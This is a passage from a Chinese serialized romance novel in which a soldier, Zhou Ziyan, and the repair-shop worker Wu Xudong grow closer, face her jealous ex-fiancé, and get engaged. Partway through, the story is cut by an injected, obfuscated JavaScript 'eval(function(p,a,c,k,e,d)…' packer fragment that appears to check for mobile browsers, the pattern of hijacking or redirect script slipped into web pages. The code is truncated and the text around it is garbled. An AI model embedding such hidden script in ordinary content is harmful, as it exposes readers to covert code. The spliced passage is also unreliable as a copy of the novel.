周子琰不喜欢领导这个称呼。 她跟他不是上下级的关系。 所以吴旭东只亲到了她的手心。 她拿手背抵着嘴唇,坚持她的原则:“换个称呼。” “为什么?”这样不好吗?一切听她的。 不好。 周子琰的手心有些粗糙,需要格外轻柔,才敢抚摸他的面庞。 指尖细长,在暖黄色的灯光下,细细描摹他的眉眼,他的鼻梁,他的薄唇。 小东长得真好看啊。 如果不是被王家沟的遭遇扭曲了性格,说不定早就被别的女生拐跑了。 命运有时候真的爱跟人开玩笑,它让你寻寻觅觅,苦苦求索,又让你失而复得,惊喜万分。 而小东,就是她的惊喜,她的复得。 眼睫低垂,她轻轻地握住他的手,十指纠缠。 这样一个帅气的年轻小伙子,她才不要做他的领导。 那太没劲。 所以她必须说清楚:“小东,你我的地位是平等的。” !!! 吴旭东长这么大,第一次有人跟他说这样的话! 在王家沟,所有人都是高高在上的掌控者,每一个人,都对他指指点点,颐指气使。 在中学,所有人都是漠不关心的旁观者,每一个人,都对他鄙夷又怜悯,畏惧又厌恶。 到了大学,那更是一个微缩型的社会群体。 没有人跟他说平等。 反倒是自发的对他竖立起一道道屏障,希望他自觉远离,别来沾边。 而楚劲雄这个例外,不过是因为他救了他。 没什么代表性。 所以,平等是什么? 他不知道,也没见过。 那就像是一个遥不可及的乌托邦词汇,带着不切实际的幻想。 可是现在,这个拯救了他的女人,告诉他,他们是平等的。 即便他只是一个初出茅庐,领着微薄薪水的修车工。 即便他的大学文凭在这个陌生的城市里暂时还发挥不了作用。 即便吴家连他的房间都没有。 即便他囊中羞涩,只有一颗火热的真心。 即便他脾气古怪,敏感又矫情。 即便…… 但她还是告诉他,他们是平等的! 他上辈子一定拯救过全宇宙,这辈子才能遇到一个这么好的她。 她就像是他的恒星,对他有着致命的吸引力,他愿意永远围着她转,一切以她为中心,做她最虔诚的信徒。 他忍不住,实在是忍不住,反手圈住了她的腰身,右手勾住了她的天鹅颈。 呼吸有了自己的意识,滚烫,急促,不受控制,像那即将坠落的流星,奔向他命运的归宿。 他不顾一切的吻了上去。 她的唇永远那么火热,湿润,带着女儿家独有的甜美和芬芳,让他陶醉。 不禁变得贪婪,想要更多,更多…… 最后到底还是刹住了车,她还要打申请,他跟她还没有板上钉钉。 再等等,等到一切水到渠成,等到一切名正言顺。 意识归位,他赶紧拢住被他扯开的粉色上衣。 扣子已经不知崩到哪儿去了。 他是罪魁祸首。 没想到,短短几分钟,他毁了她两套衣服。 真是个败家子。 他没说错,他才是贼船。 他羞愧地埋在她颈间,带着懊悔:“对不起……” “为什么对不起?”周子琰意乱情迷,一点也没有拦着他。 由着他胡闹,由着他狗啃。 原来这世上真的有男妖精,有着致命的魅惑力。 看看,不过是亲了亲,他便目色迷离,秋波泛滥,宛如一只妖魅的雪狐,邀她共赴巫山。 她几乎就要陷进去了,然而他只是个有贼心没贼胆的骗子,害她白白投入一场。 不免气恼:“两次了,你到底想不想!” “想!但不是今天。”吴旭东摘下她的假发,亲吻她短发上坠落的汗珠,“对不起,琰琰!” “你喊我什么?”周子琰明显没有预设过这个称呼,忽然有点想笑,“怎么被你喊小了。” “那就琰琰,我喜欢。”吴旭东轻轻环住她的肩膀,一遍又一遍的喊,“琰琰,琰琰!我的琰琰!” “你好肉麻!!!”周子琰受不了了,想跑。 却被他的眼神俘虏,伸出去的手非但没有推开他,反倒是紧紧地环住了他的腰。 声音闷闷的,从他心口传来:“算了,你高兴就好。” “琰琰,你真好。”独一无二的好!全世界最好的好! 周子琰哭笑不得,抬起头来反驳:“哪有啊!我发火的时候你就惨了!” “我不怕!”吴旭东起了捉弄她的心思,“你发一个我看看!” “我没发火吗?”周子琰嫌弃。 吴旭东笑了:“刚才出电梯的那几句话也算?” “不算吗?” “纸老虎!” “吴旭东!” “琰琰!” “你!” “好琰琰,不气了。饿了吗?我给你做午饭。”吴旭东看看手表,十一点了。 周子琰还真饿了,松开他的腰,牵着他的手,带他去厨房看看都有什么。 有阵子没回来了,冰箱里没有食材,只有两板老冰棍儿。 吴旭东:…… 他把冰箱合上,油盐酱醋倒是全的。 蹲下看看储物柜里有什么。 还有点米面,天气热,所以都密封在塑料箱子里,打开看看,没有生虫。 那么买点蔬菜生鲜就可以了。 起身的时候,膝盖隐约有些痛,还好他背对着她。 扶着灶台站好,不动声色地问道:“你平时都爱吃什么?” 身后的周子琰注意到了他的停顿,低头看了看手表,还早。 楚劲雄果然没有骗她,他的腿有问题。 不过她给他预约的中医馆要到下午四点才有号。 眼下,她不打算告诉他。 捂着嘴打了个哈欠,起太早了,快到午休时间了。 但他难得过来,她还是撑起眼皮:“无所谓啊,我这里一般不开火的,东西都是我爸妈准备的,怕我偶尔回来连口粥都喝不上。其实我不爱做饭,我都是出去吃。” “我做,你告诉我你爱吃什么就行。”吴旭东物归原处,因为背对着她,没有察觉她刻意隐藏的困倦。 一门心思要给她露一手,他要带她出去。 周子琰只能再换一套衣服,一条丁香色的连衣裙,格外的温柔动人。 吴旭东看得眼中一热,默默握紧了她的右手。 关门的时候,再次回望一整圈客厅的软木板,以及那些随风跳动的剪贴报,他提了个不情之请。 “能把这些留下吗?” “留着干嘛?你都回来了。” “就是想留。”吴旭东不想解释,回头又要说他肉麻。 可是,他真的想留下这些。 这是她的爱,千金不换。 周子琰不想追问,他脾气有点怪,而她只想让他高兴,索性顺着他:“行,留着。那你也答应我一件事。” “什么。”吴旭东锁门,认真谨慎。 低头的时候,能看到他那漂亮的发尾,有一点点细微的卷,估计是睡觉的时候压着了,真可爱。 像是一个个小猫爪子,在她心尖上挠。 没忍住,俯身想亲他一口。 正好他起身,两人哎呦一声,碰了额头。 四目相对,忽然默契的笑了。 “你笑什么?”她问。 他也问:“那你笑什么?” “高兴,想笑,不可以吗?”周子琰得意地挑眉。 吴旭东真是个幼稚鬼,干脆学舌:“高兴,想笑,不可以吗?” 连挑眉的动作都如出一辙。 周子琰恼了! “好哇,吴旭东!你学我!” “好哇,周子琰!我就学!” “哈哈哈哈!幼稚鬼!”周子琰笑得开心,一把勾住他的脖子,“小东,以后要多笑,你笑起来真好看!” 吴旭东脸红了,声音跌落谷底,带着一丝羞涩:“好。你刚刚要我答应你什么?” “把出租房退了,住我这里来。”周子琰不跟他开玩笑,“那栋楼!上个月漏电电死过人的!别让我担心!” “遵命,领导!”吴旭东又贫了。 反手环住她的腰,买菜去。 周子琰懒得纠正他了,她知道他听进去了,这会儿不过是逗她的。 * 楼下斜对面有个蔬菜超市。 周子琰跟吴旭东十指相扣,姿态亲昵,漫不经心的挑挑拣拣。 时不时额头贴额头的低声商量着什么,视线交汇,总是默契的一笑。 漾起阵阵秋波,化作甜蜜的浪。 是一对热恋中的小情侣该有的样子。 购物车里很快满满当当。 吴旭东忽然好奇:“这次回来几天?” “明天就得走!”周子琰非常遗憾,“早就告诉过你了,我很忙的。现在后悔还来得及。” 爱情的小船刚刚准备启航,汽笛还没有呜呜呜的鸣响。 等到汽笛响了,正式出航了,那就来不及了。 吴旭东停下,认真的看着她:“我说最后一次,周子琰,为你我什么都愿意,哪怕让我去——” 死字没能说出口。 被女儿家温热的掌心堵回去了。 “小东,咱俩都差点死过一回,以后不许说这个字了。”周子琰也很认真,她不喜欢这些不好的字眼。 尤其是用在他身上。 吴旭东握紧了她的手,靠近些,一个亲吻落在她额头上。 难得的,没有打申请。 声音轻柔的从头顶落下来,周子琰笑了。 他说好。 她相信他。 一诺千金。 不禁抬头,勾住他的脖子还他一个额头吻:“走,去那边看看。” 刚转过货架一角,便看到一个熟悉的面孔。 身边跟着一个女人,怀里抱着一个软嗒嗒的婴儿。 诸葛光显然偷听很久了,看到对方忽然转过来,他赶紧装装样子,拿起一瓶油辣椒,问道:“美妮,中午吃点麻婆豆腐吗?” 女人怨恨的看着他:“我喂奶呢,怎么吃!你想害咱们儿子你就直说!” 诸葛光赶紧把油辣椒放下:“怎么这么容易生气呢,我就是随便问问。” “这需要问吗?”余美妮知道自己比不过周子琰,可是他既然选了她,为什么就不能对她用心一点! 孩子都有了! 她气得直接拦住了周子琰,指着她挽着的男人,对诸葛光发火:“看清楚了,你的心上人已经有男朋友了!死了这条心吧你!” 说完,她抱着孩子,愤恨的离开。 留下诸葛光,尴尬地赔礼道歉:“对不起,我女朋友产后抑郁。” “女朋友?没有结婚?”吴旭东不认识他,但是显然,这人是个情敌。 他自然要挑一挑对方的道德污点。 诸葛光更尴尬了,视线落在两人交缠的十指上,心痛得屏住了呼吸。 他拒绝回答,请走开吧。 吴旭东却不想让他如愿,侧身表态:“琰琰,你放心,我不学他!” 我可是好人! 纯的! 吴旭东用力握住周子琰的手,挺胸抬头,就这么走了。 气得诸葛光挖苦道:“虽然不知道你是谁,但我还是奉劝你一句,一般人是配不上她的,小心你的情敌比蚂蚁还多!” 吴旭东背对着这个男人,发出一声嗤笑:“琰琰你听,没文化真可怕,居然用蚂蚁来形容人。我就不一样了,我会说,追求你的人犹如过江之鲫,蔚为壮观。” 周子琰头疼。 她是在公园吗?面前是两只花孔雀在互啄吗? 诸葛光她管不着,她只想护着吴旭东。 她干脆把话说个清楚:“小东,斗嘴逞能不是真本事,言而有信才是真君子。别学有些人,说一套做一套,两幅面孔。只要你言行一致,我永远没有过江之鲫,只有你这条翘嘴!” “哈哈哈!原来琰琰你喜欢翘嘴!走,买两条!”吴旭东高兴得很。 他女朋友真好! 上穷碧落下黄泉,再也不会有第二个人这样形容他! 她真好,一眼万年的好! 她的工作那样忙碌,他得多多珍惜在一起的时间才对。 用来与傻瓜论短长,太浪费。 赶紧拉着她的手,买翘嘴去了。 两人走后,诸葛光气得捏爆了一袋方便面,最后扔进购物车里,自己买单。 结了帐追到外面,诸葛光赫然发现,周子琰居然领着这个男人,进了她的小区楼! 他可没有听说周子琰结婚了! 那就是婚前同居了? 那这个男人有什么资格说他! 五十步笑百步罢了! 他忽然气顺了。 可是一想到周子琰跟自己订婚多年都不肯正眼看他,现在却对一个男人溺爱非常,他心里的酸劲儿便一发不可收拾,眨眼间汇聚成了浩荡山洪,所过之处,一片狼藉。 他鬼使神差地跟了上去。 亲眼看到他们进了九零九,转身回去,给周中擎打了个电话。 “周叔,有个登徒子,骗得子琰团团转,都把人带回公寓去了,你可得提醒她,最近骗财骗色的臭流氓太多了!”诸葛光恶人先告状。 周中擎哪能上他的当,笑道:“小光啊,多谢你关心子琰!我跟你安阿姨已经把过关了,也都同意了。是个品行端正的好苗子,放心吧!” “周叔,这也太突然了,谁啊?”诸葛光酸死了,指甲都快把电话线给抠破了。 周中擎笑着说道:“还能是谁,我家子琰最惦记的小东啊!小光啊,到时候记得来喝喜酒啊!” “周叔,他们同居你也不反对吗?”诸葛光震惊! 怎么会这样! 居然是吴旭东回来了! 表哥没跟他说啊! 周中擎笑道:“他们都是成年人了,自己有分寸的,只要不弄出未婚生子的笑话来,别的都无所谓。” 诸葛光沉默了。 周叔叔平时不是这么刻薄的人,今天故意寒碜他,是为了给吴旭东撑腰吗? 细胳膊细腿的,细皮嫩肉的,一看就是小白脸,有什么好的! 他好气! 又不敢跟周中擎发火,只得讪讪的笑笑,挂断了电话。 想想还是不甘心,又给他表哥打了一个。 表哥倒是实在,回道:“周子琰不让跟你说。” “为什么?” “不知道啊,可能是怕你吃醋?” “真要是这样就好了!她刚才故意在我面前秀恩爱!” “那我就不知道了,可能是想不声不响抢在你前头结婚,找一点面子回来吧。毕竟你连私生子都搞出来了。” “表哥,说话别这么难听。” “你自己做得,别人说不得?怪霸道的呢。算了,不跟你计较,看在周子琰的面子上。” “怪了,你到底是我表哥还是她表哥?” “我是你表哥你也没带我发财啊!人家呢?走之前特地给我介绍了一个大活!不跟你说了,我忙,赚钱去咯!” 诸葛光气得摔了电话! 周子琰! 好狠的心! 故意冷着他,故意无视他,他也会伤心,也会寂寞,不过是借酒消愁,这才犯了错。 凭什么一个两个都来指责他,凭什么? 他不甘心,明明是他先的! 拿起话筒,打给了周子琰的小公寓。 居然是吴旭东接听的。 “喂,哪位?” “周子琰未婚夫!” “哦,私生子那个,你没戏了,趁早滚蛋!”吴旭东直接挂了电话。 这人忒不要脸了,孩子都有了还未婚夫呢,未婚他大爷的! 挂了电话,他去做饭。 经过卫生间,看到关上的推拉门,才意识到周子琰进去挺久了。 赶紧问了一声:“琰琰,你便秘?” 周子琰来例假了,要换裤子,卫生巾也在卧室,可是吴旭东在这里,她不好出来,也不知道怎么开口。 犹豫再三,还是硬着头皮,喊道:“小东,我床头柜里有一包卫生巾,帮我拿过来。还有……到衣柜抽屉里拿一条内裤给我。” ……吴旭东臊得不行,拍了拍火辣辣的脸颊,打开床头柜,果然看到一包没拆封的卫生巾。 赶紧拿起来看了看生产日期,保质期。 虽然他不懂这个,但是不管什么产品,注意保质期总没错的。 果然,不能用了。 他喊道:“过保质期了!我下去给你买。” “你能行吗?”周子琰担心他难为情。 吴旭东承认,是有点。 但他还是硬着头皮:“能行,你会不会肚子疼?要不要带点姜糖?” 这些都是楚劲雄告诉他的,那小子高中的时候追过一个女生,结果女生复读去了,断了联系。 呜呼哀哉。 周子琰不知道他怎么懂这些的,不过她没问,只回道:“不用,宫寒的才喝那个,我不疼。” “真的?”吴旭东怕她瞒着他,不想让他担心,思来想去,还是买了。 结帐的时候,老板怪异的看了他一眼。 啧,这年头的年轻人啊,越来越不害臊了。 吴旭东走后,他还指指点点:“肯定又是未婚同居的,如今的大学生,道德败坏!” 他女人翻了个白眼:“你自己屁股擦干净了吗?” 男人立马闭嘴,沉默是金。 * 卫生间门打开一条缝隙,吴旭东别过头去,伸手把卫生巾和内裤递了进去。 女孩子家的贴身物品,他不敢亵渎,一直没有正眼相看。 这会儿终于如释重负。 周子琰难得脸红,只得闲聊几句缓解尴尬:“杂货店的老板有没有挖苦你?” “他经常这样?” “嗯,附近有大学生,每次有小情侣去买这个,他都要指指点点,实际上呢,他自己才不是好东西,以后别去他家。”周子琰拆开包装,“小东,你去把菜处理一下吧,我等会再来。” 这是支开他呢,他也没想看。 都快是他老婆了,他才不会这么猴急猴急的。 把门关上,他去厨房做饭。 先炖生姜红糖水,随后打开电饭锅,把米饭蒸上,接下来才处理翘嘴和肉。 最后是蔬菜。 切过鱼肉的刀,还不忘用开水烫一烫,非常注意卫生。 一回头,才发现周子琰靠在厨房门边,正含笑看着他呢。 不禁笑了:“你总看我,很好看吗?” “好看。小东,我困了,我睡会儿。”周子琰不能再逞强了,明天还要出差。 吴旭东赶紧擦了擦手,去卧室帮她把窗帘拉上:“你要睡多久?自然醒,还是饭好了喊你?” “饭好了喊吧,我想跟你一起好好吃顿饭,就咱们两个。”周子琰虽然肚子不痛,但是精神多少会有点萎靡,说完便睡下了。 吴旭东端着生姜红糖水进来的时候,人已经睡着了。 犹豫再三,他还是没有喊她。 大不了等会重新炖。 他把红糖水留在床头柜上,出去了。 周子琰却睁开了双眼,盯着柜子上的红糖水,默默叹了口气。 小东是讨好型人格吗? 不像。 他那么叛逆,那么桀骜不驯,只有她有这个待遇。 越是这样,越是心疼。 干脆坐起来,喝了吧,到底是他的一片心意。 喝完,她便睡下了。 又怕他再做一碗,白白辛苦,想想还是把空碗送去了厨房。 吴旭东有些意外:“你不是睡了?” “不想让你担心啊小东。你太好了,让我亲亲。”周子琰从身后抱住他,他只能扭过头来让她亲。 别扭的姿势,两个人却傻乐成什么似的。 “快去睡,内裤我洗。”吴旭东不怕血污,不过是正在做饭,不好半路跑去洗那个。 周子琰老脸一红:“我扔盆里塞角落里了,你怎么发现的?” “我听见的。”吴旭东眼神一暗,他为了躲避挨打,练就了一身奇怪的本领。 听声辩位,听声辩物,手拿把掐。 但他不想说。 不愉快的回忆,统统扫进垃圾堆! 不过,周子琰能感觉得到。 从他紧绷的身体,和他忽然降了几个音阶的声调。 以及…… 略微颤抖的手。 她猜得到。 猜得到的。 心疼了,抱着他,不肯撒手:“小东,你有我。” “嗯,快去睡。你都变成树懒挂我身上了,我还怎么做饭?”吴旭东笑了。 以后要是吵架了,他就装可怜,肯定立竿见影。 他好卑鄙。 可是他很开心。 她在乎他! 周子琰能不在乎他吗? 困得要命都强撑着陪他去买菜。 她起身,哈欠连天的:“小东,别太累,随便做两道菜就行了。吃什么不重要。” 有你最重要。 吴旭东明白,但他今天高兴,想露一手。 两个小时后,周子琰醒了。 被香醒的! 周子琰跳下床,看着一桌子的菜肴,目瞪口呆。 赶紧找了几个一次性食盒,每一样都盛起来一半:“小东你太厉害了!一定要带给我爸妈尝尝!看看他们的女婿有多棒!” 周子琰美滋滋的,忙得不亦乐乎。 吴旭东忽然愣住了:“你说我是什么?” “我爸妈的女婿啊!”周子琰夹了一筷子给他,“呦,这就害臊啦!真可爱!” “琰琰!”吴旭东脸红了,心里热辣辣的,泛起甜蜜的浪,勾住嘴唇,不断上扬。 真的这么容易就得到肯定吗? 简直不敢想。 分装完饭菜,两人坐下,面对面吃饭。 周子琰简直像被吴家三姐附体了一样,前所未有的话多。 这个真好吃! 那个也是大厨水准! 哎呀,刚吃的可以上国宴啦! 把个吴旭东夸得,不用吃饭都能高兴饱了。 饭后,他去收拾碗筷,周子琰帮忙,他却不让:“你好好休息,楚劲雄说女生来这个都会不舒服的,别逞强。” “好吧,那我去看看我的花。”周子琰去了阳台。 她养的花花草草,葳蕤芬芳,长势喜人。 花盆旁边的地上有一点水渍,抬头一看,是她那条藏起来的内裤…… 他还真的给她洗啊! 太难为情了吧! 周子琰定在那里,脑子里自动勾勒出一个画面——年轻的男大学生,一脸认真的在水池边搓洗,血腥也无妨。 她猛地回头,看向走过来的吴旭东。 他刚洗完碗筷,有些意外:“这么多花,你怎么养得活的?” 不是经常不着家吗? 周子琰没有回答,起身抱住了他,狠狠亲他! 亲晕了她负责! 吴旭东险些毁了她的第三件衣服。 还好她来例假了,做不了什么。 要不然,这次真的要犯错了。 汹涌的海浪退去,周子琰松开他,理了理凌乱的衣服。 笑着指了指旁边的小小毛竹水管:“我会把水龙头开一小点点,让它滴水,控制好滴速就行,你看,没有枯死的吧?” 吴旭东上次过来,全部的注意力都在客厅,就连她卧室的合照都是后来发现的,所以他压根没来阳台看看。 现在一看,不得不服。 剧烈的喘息归于平静,他帮她扣上扣子。 “琰琰,你好聪明!”将来生个女儿一定像她!儿子也行,但是不要像他,太苦。 周子琰哪里知道他都发散到儿孙满堂了,笑着摘了一朵月季给他:“你就当它是玫瑰吧,反正挺像的。” 吴旭东收下了。 这辈子第一次收到别人送的花。 女朋友送的花! 未来老婆送的花! 太激动了,心情似野马,狂奔不息。 赶紧蹲下,在她唇上啄了一口。 周子琰却伸手:“我的呢?” 对啊,她的呢? 吴旭东惭愧,赶紧摘了一朵,亲手送给她。 周子琰起身,牵着他去书房:“会做干花吗,我教你。” “不会。”这超出了他的认知范围。 周子琰打开抽屉,拿出一本厚厚的干花册子。 打开后忽然想起什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴旭东不肯让她进去陪诊,气死她了! 只得给她爸爸打了个电话,让他问问坐诊的何叔叔,到底是怎么造成的。 谁家年轻小伙子得风湿啊,太不正常了! 不过老爸还没有回电话,她只能等着。 车都开了,还是一句话都不想跟吴旭东说。 直到站在爸妈门前,她才深吸一口气,笑着挽住吴旭东,摁铃。 “呦,子琰和小东回来了!老安啊,快快快,孩子带了饭菜!”周中擎赶紧递拖鞋。 两人进了客厅,一起坐在了沙发上。 闹了矛盾又要装作无事发生,很考验演技,视线对上,又各自移开。 再怎么装,也透着股别扭。 老两口还能看不出来吗?只是不想掺和小两口的事,免得他们不自在。 于是老安去厨房把他们带的饭菜热了热:“小东这孩子,来就来吧,还带什么饭菜,难得跟子琰在一起见一面,以后直接回家里吃吧,啊。” “安阿姨,琰琰特别喜欢,所以要带给你们尝尝。”吴旭东去厨房帮忙。 周子琰看着他的背影,默默叹气。 周中擎悄悄的使了个眼色:“子琰啊,快帮爸爸看看,这花怎么蔫儿了。” 周子琰会意,父女俩去了阳台。 周中擎这才小声道:“你何叔叔跟我说了,小东再三恳求,不想让你知道。我就打给了王腾虎,说是王大柱有年赌钱赌输了,没钱吃饭,想卖掉一个女儿。约好了第二天一手交钱一手交人,结果小东半夜爬起来,偷偷剪断了捆绑的绳索,让那个姐姐去山里躲了几天。后来王大柱把人抓了回来,罚他在雪地里跪了一天一夜,不然就打死他那个姐姐。” “是五毛?”周子琰只想到这个可能了。 因为只有五毛长得好看,而且五毛也一直在维护小东。 周中擎点头:“是她!她就是为这恨透了王大柱,你们走后过了三天,她就一把火烧了房子,几个姐姐不得不嫁了人。” “她自己呢?” “失踪了,估计是去大城市闯荡了。” 周子琰沉默了。 怪不得小东不想让她知道,估计是怕她心疼,也怕她生气。 毕竟这是为了别人,还是买家的孩子。 她不怪他,善良是优秀的品质,错的是王大柱那个畜牲,不是小东。 她当做什么也不知道。 吃完饭回去,路上绝口不提这件事。 只是闲聊:“爸妈也说你做的饭好吃,我没有夸大其词吧!” “没有。” “小东,以后我能天天吃到你做的饭吗?” “能。” “那咱们现在就去跟你爸妈说一声吧,我明天还得出差,又要半个多月才回来。” “那就回来再说。” “今天说吧,让他们稍微准备准备。” “不用,我跟你去大院住。你放心,房子我以后给你买,但我不想去吴家结婚。” “行,那我让大院那边准备一下。” “你可以带家属随军的吧?” “可以。不过我单身,家属院需要申请一下。” “委屈你了,以后补给你。” “不委屈。小东——” “嗯?” “楚劲雄说王五毛失踪了,她一把火烧了王家,几个姐姐都嫁人了。” “我不关心。” “真的?” “我只关心你。” “小东,我出差的时候,你注意点,别跟诸葛光起冲突。” “放心。”揍不死他! 可是转念一想,真动手了肯定会摊上官司,这不是害了他的心上人吗? 只能智斗了。 想想还挺期待的。 想看诸葛光吃瘪的样子。 周子琰半路停在了一家男装店,给吴旭东买了两身睡衣。 结帐的时候,吴旭东非要自己付钱。 虽然羊毛出在羊身上,但是他那脆弱的自尊,在外人面前总是会发作。 周子琰没争。 回到九零九,周子琰随便冲了个澡,准备睡觉。 却发现他正在奋笔疾书。 干什么?记账! 他花了周子琰多少,全部记下来。 周子琰催他去洗澡:“次卧一直空着,床和被褥、电风扇都有,快点洗澡把药膏贴上,赶紧睡。” “次卧给我留的?”吴旭东终于抬头。 “嗯。”周子琰澄清,“那时候还不知道会跟你在一起,只是想着,万一你找我玩,太晚了回不去,总归有个睡觉的地方。” “我要搂着你睡。”吴旭东感动坏了,吴家没有他的房间,可是这里有! 原来他是有家的! 而这个家,名为周子琰。 他放下笔来,起身环住她的肩膀:“我想通了,我跟你坦白。” “啊?”周子琰莫名,这是跳到哪个话题上了? 吴旭东摸了摸自己的腿:“王大柱要卖王五毛,我拦了,这就是代价。不想告诉你,是怕你误会,我跟王五毛没什么,只是朴素的正义感,自己被人卖过,不想看别人被卖——” “别说了,以后我什么也不问了,今天生气,是因为你在外人面前把我挡在门外,没有面子。”周子琰心疼了,蹭了蹭他的手背,“以后你自己去,愿意跟我说的我就听,不愿意的就算。” “不,是我不好,明知道你关心我,想知道病因,却自作聪明——” “别说了,小东,别说了。”周子琰转身抱住他,“你想搂我睡就搂,我把钥匙留下的时候就拿你当自家人了。以后别分得那么清,难不成以后你赚钱给我买了东西我也要记账吗?” “琰琰!”吴旭东懊悔不已,今天到底是让她伤心了。 只能抱紧她,暗暗发誓,以后再也不这样了。 冲了澡,贴了药膏,熄了灯。 吴旭东生平第一次跟女人同床共枕,睡的还是单人床,真挤。 可是这样的拥挤,却让他格外安心。 他抱着周子琰,感受着她温热的暖,很快睡去。 夜里不老实,乱摸一气,周子琰也没有怪他。 第二天他醒来的时候,周子琰已经走了。 留了纸条给他:“小东,半个月后见。记得把出租房退了,押金不退也没关系,咱家不差那点钱,安全要紧。还有,我不想让你做修车工,对你的腿不好,你换个工作吧。——你的琰琰” 哦,我的琰琰! 我的! 琰琰! 吴旭东反复默念,寥寥数语,足以充饥。 当天就把房子退了,也把工作辞了,还好老板爽快,工资一分没少。 站在大街上,吴旭东前所未有的神清气爽,踌躇满志。 迷路的人彻底找到了回家的路,心情自然大不相同。 他给赵建华打了个电话,拜托老赵帮忙找个买家。 赵建华震惊极了:“好小子,那家修车店是你自己的?” “嗯。”吴旭东解释道,“三年前救了个被拐的女孩儿,她姥爷送我的。” “你小子,瞒得挺严实啊!”赵建华赶紧去帮他办事。 吴旭东也没有耽误,当天就踏上了火车。 两天后,他把修车店卖了。 连铺面带里面的器材,卖了十七万。 离开的时候,赵建华带着一对夫妻来见他。 是最近解救的那个男孩的爸妈。 非常热情,要送他一辆车子。 虽然只是桑塔纳的基础款,起码是辆车。 吴旭东犹豫再三,收下了。 结婚总得给周子琰一点排场,不然他心里过意不去。 再说,这也是他应得的。 他直接开车回去,一路上看看祖国大好风光。 回来后休息了一天,找人挑了个黄道吉日。 随后去金店挑了款钻戒。 付钱的时候,正好碰到带着余美妮过来买婚戒的诸葛光。 冤家聚头,但他不想给周子琰添麻烦,只当没看见。 擦肩而过的时候,身边传来一声嘲讽:“穷山沟里来的,也好意思攀高枝啊!配吗?” 吴旭东没理,晃了晃手里的红丝绒盒子,扬长而去。 他的挑衅很成功,气得诸葛光张口就是一句:“小姐,他买的什么戒指?来个一样的。” 等柜台小姐取出戒指,诸葛光一看价钱,立马装作无事发生,看普通的金戒指去了。 最后买的是枚没有款式可言的普通圆环戒指。 余美妮气得眼泪汪汪。 诸葛光脸上无光,懒得哄,只催促道:“别闹了,赶紧回去准备,抢在他们前头结婚才有面子。” * 周子琰这次是跟同事一起坐火车出差的。 下了火车,发现出站口异常沸腾。 但见一个帅气非常的年轻男人,西装笔挺地捧着一大束玫瑰花在等人,手里还拿着红丝绒盒子,一副要求婚的架势。 周子琰微笑走过去,还没有开口,年轻的男人便单膝跪下了:“琰琰,跟我结婚好吗?” 周围响起喧闹的起哄声,周子琰赶紧扶他起来。 他却不肯,还打开了钻戒盒子:“你先答应我!” “好!结婚!”周子琰伸出手来,让他给她戴上钻戒。 高兴的泪水汹涌而出,两人紧紧地拥抱在一起。 天地万物,都变得寂静,只有彼此的心跳在轰鸣。 回去的路上,周子琰坐在簇新的桑塔纳里,盯着手上的戒指,好奇:“你哪来的钱?” “我把修车店卖了。” “那是你自己的?” “嗯,别生气,我不知道能不能在这边待下去,所以没说。” 周子琰不气,他没有安全感,给自己留个退路是应该的。 只是心疼:“卖得这么急,别人压价了吧?” “没有,老赵帮忙谈的,市场价,十七万,买完戒指还剩十六万多,等会回去都给你。” “不用,你自己拿着,我不差钱。” “那我做点生意。” “好。” “诸葛光明天结婚,一起去喝喜酒吗?” “去,为什么不去!” 23. 结婚(二更) 周子琰的小公寓不很是大。 两室两厅一厨一卫,带一个非常宽敞的阳台。 一共一百平出头。 房间里一直没有多少东西,毕竟她不常住。 只是这次回来,她发现里面变了。 有了家的气息。 门口多了块地毯,上面写着出入平安。 很俗,但是很实在。 毕竟经常出去奔波的人是她,所以,这份祝福她收下了。 吴旭东的东西都搬过来了,厨房的冰箱里买了不少蔬菜生鲜。 这个心思细腻的男人,还买了一套特别可爱的瓷碗,上面印着花好月圆。 “本来想买张双人床,不知道你喜欢什么款式,所以还没有定。明天一起去看看。”吴旭东早就把饭菜做好了,直接热热就能吃。 周子琰大快朵颐,不禁称赞:“你要是开个饭店肯定生意火爆。” “我不,我只做给你一个人吃。”吴旭东有自己的小骄傲,这么好的厨艺,还是藏着掖着,只给女朋友一个人享受好了。 当然,偶尔也可以让周叔叔跟安阿姨沾沾光。 周子琰不强求,吃完擦擦嘴:“小东,我得走了,要述职的,明天早点回来。” “这次可以休息几天?”吴旭东不难过,他已经做好了心理建设。 她就是一艘随时可能出航的战船,而他,是她永远的深水港。 安静地守候,不离不弃。 周子琰笑着凑近些,告诉他一个好消息:“结婚的事领导批准啦!所以呢,今天我还要去商量一下,看看婚假是跟这次的假期一起休,还是单独休。” “真的?”吴旭东高兴得很,没想到还挺顺利的。 他把看好的日子交给了周子琰:“算命先生说八月十九号不错,农历七月初八。” “看来可以连着休啦!”周子琰笑了,“你猜猜为什么?” “不知道。”吴旭东从来不会不懂装懂,不懂也不丢人,干脆等她解释。 周子琰笑道:“在部队啊,男军人25岁以上,女军人23岁以上初婚的,算晚婚。婚假三天,加晚婚假七天,一共十天。这次回来可以休三天,我可以把晚婚假的七天调到前面,这不就一起休了。” 那就是说,可以连续在一起待十三天? 这简直不敢想象! 吴旭东就像是久贫乍富的暴发户,开心坏了。 起身抱着周子琰:“太好了,可以天天气你了。” “好啊小东,你越来越不像话了,还想天天气我!看我怎么收拾你!”周子琰笑着要打他,他也不躲,脸皮老厚,自己凑过来给她打。 她哪里舍得。 手心贴上去,轻轻抚摸着他俊美的面庞,干脆亲了一口:“小东,你会跟我开玩笑了,真好。” “那是因为有你。”所以给点阳光就灿烂,吴旭东用力回吻,“今天还有时间吗?” “没有,战友等我呢,明天回来,你爱怎么着都行。”周子琰知道他压抑很久了。 年轻男女,又是这样的关系,她不介意的。 但是他介意,他只是问问,还不至于那么急不可耐。 只是想跟她腻歪腻歪,浅尝辄止。 既然没时间,那算了。 松开怀中的女人,吴旭东赶紧去厨房拿了一盒点心出来:“桂花酥,你尝尝。” “你做的?”周子琰收下了,打开盒子闻了闻,好香。 干脆拿起一枚,一人一半。 吴旭东点头,见她掰成了两半,干脆张嘴叼住了。 趁机亲了口她的指尖,叫周子琰闷哼一声,止不住的笑:“你好坏啊小东!” “坏了你还喜欢吗?” “喜欢。” “那就好。” “我走啦小东,明天见,一个人在家锁好门窗哦。” 